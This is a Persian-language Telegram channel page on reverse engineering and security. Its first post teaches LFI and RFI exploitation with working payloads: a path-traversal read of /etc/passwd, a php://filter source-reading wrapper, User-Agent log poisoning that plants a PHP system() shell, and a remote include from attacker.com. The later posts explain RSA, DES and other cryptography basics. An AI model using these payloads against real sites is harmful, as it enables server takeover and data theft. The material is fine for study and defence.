ReverseEngineering – Telegram
ReverseEngineering
1.24K subscribers
40 photos
10 videos
55 files
666 links
Download Telegram
Forwarded from Web Application Security (Alireza)
4⃣ توضیح کامل آسیب پذیری LFI =

شبه کد آسیب پذیر با PHP به LFI 👇
include($_GET['file']);

وقتی کد بالا استفاده بشه، با URL زیر میتونیم بهش مقدار بدیم :
http://target.com/index.php?file=news.php

در URL بالا فایل news.php داخل فایل index.php فراخوانی شده است. برای بهتره برداری ازش در مرحله اول باید سعی کنیم فایل passwd را بخوانیم.
http://target.com/index.php?file=../../../../../../../etc/passwd


5⃣ استفاده از Wrapper ها =

در LFI میتونیم از wrapper ها هم استفاده کنیم. از Wrapper زیر برای خوندن فایل استفاده میشه که میتونیم باهاش کد های وب سایت رو بخونیم.
php://filter/convert.base64-encode/Resource=index.php

خروجی به صورت base64 هست و باید decode بشه.

6⃣ تبدیل LFI به RCE =

روش های مختلفی برای تبدیل LFI به RCE وجود دارد مثل :
1) Expect Wrapper
2) Input Wrapper
3) Log Poisoning
4) phpinfo in php
5) Chain LFI & SQLi
6) PHP Session
7) Chain LFI & RFU

1⃣6⃣ تکنیک Log Poisoning :

بعد از پیدا کردن LFI، باید دنبال یک فایلی در سرور باشیم که دیتایی از سمت کاربر ذخیره میشه داخلش. باید دسترسی خوندن اون فایل رو داشته باشیم. میتونیم موارد زیر رو بررسی کنیم :
1) Apache/Nginx Log file
2) FTP Log file
3) SSH Log file
4) SMTP Log file
5) SFTP Log file
مثلا تو log file های مربوط به وب سرور خیلی وقتا user-agent هم لاگ میشه.(قبلش باید فایل Log رو با LFI بخونیم و مطمئن بشیم از این مورد). تنها کاری که باید انجام بدیم inject کردن پیلود مخرب به عنوان user agent هست.
GET /test HTTP/1.1
..
..
..
User-Agent: <?php system($_GET['cmd'])  ?>

و این اطلاعات در لاگ فایل مربوط به Apache ذخیره میشه. حالا باید از طریق LFI اون فایل رو فراخوانی کنیم و پارامتر cmd رو مقدار دهی کنیم.
http://target.com/index.php?file=../../../../../var/apache2/access.log&cmd=whoami

و RCE گرفته میشه.
برای مابقی سرویس هاهم Log poisoning به این صورت انجام میشه با این تفاوت که اونجا user agent نداریم و چیز دیگه ای از کاربر Log میشه مثل یوزرنیم.

7⃣ آسیب پذیری RFI =

تو آسیب پذیری LFI همه فایل هایی که فراخوانی میکردیم Local بودن. تو آسیب پذیری RFI فایل های Remote هم فراخوانی میکنیم. فرضا یک فایل در سرور خودمون قرار میدیم با اکستنشن txt. و به عنوان ورودی به تارگت میدیم.
http://target.com/index.php.php?file=http://attacker.com/RFI.txt


اما حالت پیشفرض این آسیب پذیری وجود نداره حتی اگه LFI وجود داشته باشه، باید کانفیگ های مربوط به دو مورد زیر به صورت دستی توسط برنامه نویس تغییر داده بشه تا قابلیت فراخوانی فایل به صورت remote فعال بشه.
allow_url_include
allow_url_fopen

وقتی آسیب پذیری RFI داریم قطعا LFI هم داریم. اما وقتی LFI هست تا وقتی دو تابع بالا فعال نباشن آسیب پذیری RFI وجود نخواهد داشت.

1⃣7⃣ آیا اگر بتونیم یک فایل remote روی وب سایت لود کنیم RFI داریم همیشه

خیر. علاوه بر فراخوانی به صورت remote باید تابع آسیب پذیر قابلیت اجرایی داشته باشه تا بتونیم کد سمت backend اجرا کنیم‌ (همون خاصیت LFI) . در غیر این صورت فقط میتونیم یک فایل JS. به صورت remote لود کنیم و به XSS برسیم.

#LFI
#RFI
#Path_traversal
#Directory_traversal
👍31🍌1
الگوریتم‌های رمزنگاری با كلید نامتقارن

روش نامتقارن Asymmetric

قسمت قبلی در مورد الگوریتم‌های رمزنگاری متقارن DES ، 3DES و AES توضیح دادیم كه از یک كلید برای رمزنگاری و رمزگشایی استفاده می كنند. در الگوریتم‌های مذكور در صورتی كه كلید رمزنگاری به سرقت رود محرمانگی اطلاعات نیز از بین خواهد رفت.الگوریتم‌های رمزنگاری با كلید نامتقارن از كلیدهای مختلفی برای رمزنگاری و رمزگشایی استفاده می‌كنند. بسیاری از سیستمها اجازه می‌دهند كه یكی از كلیدها كلید عمومی یا (public key) منتشر شود در حالی كه دیگری كلید خصوصی یا (private key) توسط صاحبش حفظ می‌شود فرستنده پیام، متن را با كلید عمومی گیرنده، كد می‌كند و گیرنده آن را با كلید اختصاصی خود رمزگشایی می‌کند. بعبارتی تنها با كلید خصوصی گیرنده می‌توان متن كد شده را به متن اولیه صحیح تبدیل كرد. یعنی حتی فرستنده نیز اگرچه از محتوای اصلی پیام مطلع است اما نمی ‌تواند از متن كدشده به متن اصلی دست یابد، بنابراین پیام كدشده برای هر گیرنده‌ای، به جز گیرنده مورد نظر فرستنده، بی ‌معنی خواهد بود معمول ترین سیستم نامتقارن به عنوان RSA شناخته می‌شود. (این حروف اول نام پدید آورندگان آن یعنی Rivest ،Shamir و Adlemen است) این الگوریتم در سال 1978 در دانشگاه MIT ایجاد شده است و تأیید هویت (روشی برای مطمئن شدن از هویت ارسال كننده پیغام) را به خوبی رمزنگاری انجام می‌دهد. الگوریتم RSA از دو كلید برای رمزنگاری استفاده می‌کند: كلید خصوصی و كلید عمومی در الگوریتم مذكور تفاوتی بین توانایی عملیاتی كلید عمومی و خصوصی وجود ندارد و یك كلید می‌تواند هم به عنوان كلید خصوصی به كار رود و هم به عنوان كلید عمومی كلیدهای RSA با استفاده از روش های ریاضی و با تركیب اعداد اول تولید می‌شوند. بزرگترین عددها با ضرب اعداد كوچك به دست می آیند و این اعداد كوچك از لحاظ ریاضی به هم وابسته هستند و دانستن یكی از آن‌ها منجر به شناسایی دیگر اعداد اول به كار رفته در كلید می‌شود. این وضعیتی است كه در استفاده از كلید های عمومی و خصوصی مورد نظر است. البته در صورتی كه عدد خیلی بزرگ باشد، این كار به راحتی قابل انجام نیست و وضعیت های گمراه كننده بسیاری وجود دارند تنها تركیب درست از اعداد اول موجود در كلید رمزنگاری، قادر به رمزگشایی پیغام است امنیت الگوریتم RSA و الگوریتم‌های مشابه آن وابسته به استفاده از اعداد خیلی بزرگ است و بیشتر نسخه های RSA از اعداد 154 رقمی یا 512 بیتی به عنوان كلید استفاده می كنند. دسترسی به فاكتورهای اعداد اول اعداد خیلی بزرگ كه بیش از 100 رقم دارند كار بسیار مشكلی است. البته برخی از محققان توانسته اند با تلاش بسیار اعداد بزرگ را بشكنند ولی این كار برای هكرها جهت ورود به یك سیستم یا سر در آوردن از یك پیغام مقرون به صرفه نمی باشد برای پرهیز از پیچیدگی بحث فرض کنید فرستنده پیام جفت عدد صحیح و بزرگ (e,n) را به عنوان کلید عمومی برای رمزنگاری اطلاعات خود در اختیار دارد. در طرف مقابل، گیرنده نیز جفت عدد (d,n) را برای رمزگشایی پیام به کار می برد. بدیهی است که دو جفت عدد (e,n) و (d,n) با یکدیگر ارتباط زیرکانه ای دارند ولی این ارتباط یه گونه ای نیست که بتوان با در اختیار داشتن e و n براحتی d را استنتاج کرد. با فرض وجود چنین کلیدهایی، الگوریتم RSA در نهایت سادگی به صورت زیر بیان می‌شود:
الف) پیامی که باید رمز شود به بلوک‌های k کاراکتری (k بایتی) تقسیم بندی می‌شود.
ب) هر بلوک طبق قاعده ای کاملاً دلخواه به یک عدد صحیح با نام P تبدیل می گردد.
ج) با جفت عدد (e,n) به ازای یکایک بلوک‌های P، اعداد جدیدی طبق رابطه زیر بدست می آید:
C=(P)^e mod n

د) کدهای C به جای کدهای اصلی P ارسال می‌شوند.
روش رمزگشایی داده ها نیز مثل روش رمزنگاری است، یعنی با در اختیار داشتن جفت عدد (d,n) بلوک‌های رمز شده بصورت زیر از رمز خارج خواهند شد:
P=(C)^d mod n

حال برای درک بهتر به طرح یک مثال ساده و کوچک می پردازیم :
فرض کنید بخواهیم رشته ی M="catsanddogs" را رمز کنیم. برای سادگی این رشته ی کاراکتری را به بلوک‌های دوتایی تقسیم کرده و سپس هر بلوک را به یک عدد صحیح تبدیل می‌کنیم. قاعده تبدیل در این مثال عبارت است از: برای کاراکتر a عدد 00، برای b عدد 01 ، و به همین ترتیب تا z که عدد 25 در نظر گرفته و جایگذاری می‌شود
سپس در هر بلوک دوتایی عدد متناظر با هر کاراکتر پشت سر هم قرار می‌گیرد تا کد بلوک را بسازد: (این الگو کاملا دلخواه و قراردادی است). فرض کنید فرستنده جفت عدد صحیح (3763 و 27) معادل (e,n) را برای رمزنگاری بلوک‌ها اختیار کرده باشد. برای رمزنگاری هر بلوک عدد معادل آن به توان e و سپس باقیمانده تقسیم آن بر n محاسبه می‌شود تا بلوک رمز شده بدست آید. این اعداد به عنوان کدهای رمز بجای کدهای متن اصلی ارسال می‌شوند
👍5👏1
در این روش از ترکيب يک کليد خصوصی و يک کليد عمومی استفاده میشه کليد خصوصی صرفاً متعلق به کامپيوتر فرستنده بوده و کليد عمومی توسط کامپيوتر فرستنده در اختيار هر يک از کامپيوترهایی که قصد برقراری ارتباط با همدیگر را دارند گذاشته میشه برای رمزگشایی يک پيام رمز شده کامپيوتر می بايست از کليد عمومی که توسط فرستنده ارائه شده بهمراه کليد خصوصی خودشون استفاده کنن يکی از متداولترين برنامه‌های رمزنگاری در اين رابطه PGP)Pretty Good Privacy) است با استفاده از PGP می توان هر چيز دلخواهی رو رمز کرد بمنظور پياده سازی رمزنگاری کليد عمومی در مقياس بالا نظير يک سرويس دهنده وب لازمه از رويکردهای ديگری در اين خصوص استفاده بشه"امضای ديجيتال" يکی از رويکردهای موجود در اين زمينه هست يک امضای ديجيتالی صرفاً شامل اطلاعات محدودی بوده که اعلام میکنه سرويس دهنده وب با استفاده و بکارگيری يک سرويس مستقل با نام "امضای مجاز"، رازدار اطلاعاته امضای مجاز به عنوان يک ميانجی بين دو کامپيوتر ايفای وظيفه میکنه هويت و مجاز بودن هر يک از کامپيوترها برای برقراری ارتباط توسط سرويس دهنده انجام و برای هر يک کليد عمومی مربوطه را فراهم میکنه
👍51
دوستان لطفا تا جایی که میتونید کانال رو share کنید دم همه تون گرم🙏🏻🫶🏻
👍71🤡1
و اینم از قولی که داده بودم این کتاب جدیدترین نسخه reverse engineering for beginners نسخه 2023 هست که تا حالا ندیدم جایی لیک شده باشه معمولا نسخه ی 2006 یا قدیمیش هست
ReverseEngineering pinned «دوستان لطفا تا جایی که میتونید کانال رو share کنید دم همه تون گرم🙏🏻🫶🏻»
الگوریتم‌های رمزنگاري کليد خصوصی

رمزهای كلید خصوصی بر مبنای نوع عملكرد چگونگی طراحی و پیاده سازی و كاربردهایشان به دو گونه رمزهای قطعه ای و رمزهای دنباله ای تقسیم میشن كه در هر یک از اونها عملكرد رمز نگاری به صورت یک عملكرد دوجانبه بین دو طرف فرستنده و گیرنده هست كه با ایجاد یک ارتباط اولیه با یكدیگر روی كلید خصوصی توافق میکنن به گونه ای كه دشمن اون كلید را ندونه

فرستنده S میخواهد پیام m1,….mi را به نوعی بفرسته که طرف گیرنده R بفرسته كه اون بتونه به محتوای پیام دسترسی داشته باشه و در عین حال حریف مخالف A نتونه محتوای پیام رو درک كنه حتی اگر A تمامی آنچه بین R و S انتقال پیدا میکنه رو دریافت کنه به همین منظور فرستنده S هر متن روشن mi رو به وسیله الگوریتم رمزگذاری E وكلید خصوصی به متن رمز شده تبدیل میکنه ودریافت كننده نیز كه متن رمز شده را دریافت كرده می‌تونه با الگوریتم رمز گشائی D و كلید خصوصی متن اصلی رو بدست بیاره
👍51
مقایسه رمزنگاری الگوریتم‌های متقارن و الگوریتم‌های کلید عمومی‌

بحثهای زیادی شده که کدوم یک از این الگوریتم‌ها بهترند اما جواب مشخصی‌ نداره البته بررسی‌ هایی‌ روی این ‏سوال شده به طور مثال Needham و Schroeder بعد از تحقیق به این نتیجه رسیدن که طول پیغامی‌ که با الگوریتم‌های متقارن ‏میتونه رمزنگاری شه از الگوریتم‌های کلید عمومی‌ کمتره و با تحقیق به این نتیجه رسیدند که الگوریتم‌های ‏متقارن الگوریتم‌های بهینه تری ان اما وقتی‌ که بحث امنیت پیش میاد الگوریتم‌های کلید عمومی‌ کارایی‌ بیشتری ‏دارن به طور خلاصه می‌تونیم بگیم که الگوریتم‌های متقارن دارای سرعت بالاتر و الگوریتم‌های کلید عمومی‌ دارای ‏امنیت بهتری هستن.

در ضمن گاهی‌ از سیستم ترکیبی‌ از هر دو الگوریتم استفاده می‌کنند که به این الگوریتم‌ها الگوریتم ‏های ترکیبی‌ (hybrid) گفته میشه اما اگر به طور دقیق تر به این دو نگاه کنیم اونوقت متوجه میشیم که الگوریتم‌های کلید عمومی‌ و الگوریتم‌های ‏کلید متقارن دارای دو ماهیت کاملاً متفاوتن و کاربردهای متفاوتی‌ دارن به طور مثال در رمزنگاریهای ساده که ‏حجم داده‌ها بسیار زیاده از الگوریتم متقارن استفاده میشه چون داده‌ها با سرعت بالاتری رمزنگاری و ‏رمزگشایی‌ میشن اما در پروتکل هایی‌ که در اینترنت استفاده میشه برای رمز نگاری کلید هایی‌ که نیاز به مدیریت ‏دارن از الگوریتم‌های کلید عمومی‌ استفاده میشه
👍81
معرفی انواع کلیدهای رمزنگاری

كلیدهای رمزنگاری

تکنیک‌های رمزنگاری پیچیده به راحتی از روش‌های جابه‌جایی یا جایگزینی استفاده نمیکنن در عوض از یک كلید محرمانه برای كنترل ی توالی طولانی از جابه‌جایی و جایگزینی‌های پیچیده استفاده می‌کنن كلیدهای رمزنگاری و الگوریتم‌های رمزنگاری با همدیگر همكاری می‌کنن تا یک متن اولیه رو به یک متن رمزی تبدیل كنن در اغلب موارد الگوریتم رمزنگاری ثابت و شناخته شده است و این كلید رمزنگاریه كه یک نسخه یكتا از اطلاعات رمزنگاری شده تولید می‌کنه
👍8
كلیدهای محرمانه

سیستم‌های كلید محرمانه تنها از یک كلید برای رمزنگاری و رمزگشایی اطلاعات استفاده میکنن در این شیوه رمزنگاری، لازمه كه هر جفت فرستنده و گیرنده اطلاعات كلید جدا ای رو برای رمزنگاری داشته باشند و حفظ كلید به صورت محرمانه بسیار اهمیت داره امنیت این روش در گرو حفظ امنیت كلیده الگوریتم Data Encryption Standard) DES) یک نمونه از الگوریتم‌های كلید محرمانه هست. چون فرض میکنیم كه الگوریتم شناخته شده و معلومه امن بودن انتقال و ذخیره كلید بسیار مهمه

کارت‌های هوشمند معمولاً برای ذخیره كلیدهای محرمانه استفاده میشن در این حالت تضمین اینكه قلمرو كلید محدوده مهمه: باید همیشه فرض كنیم كه یک كارت ممكنه توسط افراد غیرمجاز با موفقیت تحلیل شه و به این ترتیب كل سیستم در خطر قرار بگیره در شكل زیر یک عملیات انتقال اطلاعات با استفاده از كلید محرمانه نشون داده شده كه در اون یک كاربر بانک، اطلاعات رو با استفاده از كلید محرمانه رمزنگاری می‌کنه و برای كارمند بانک ارسال میکنه شخص نیز اطلاعات رو با كلید مشابهی رمزگشایی میکنه
👏9👍2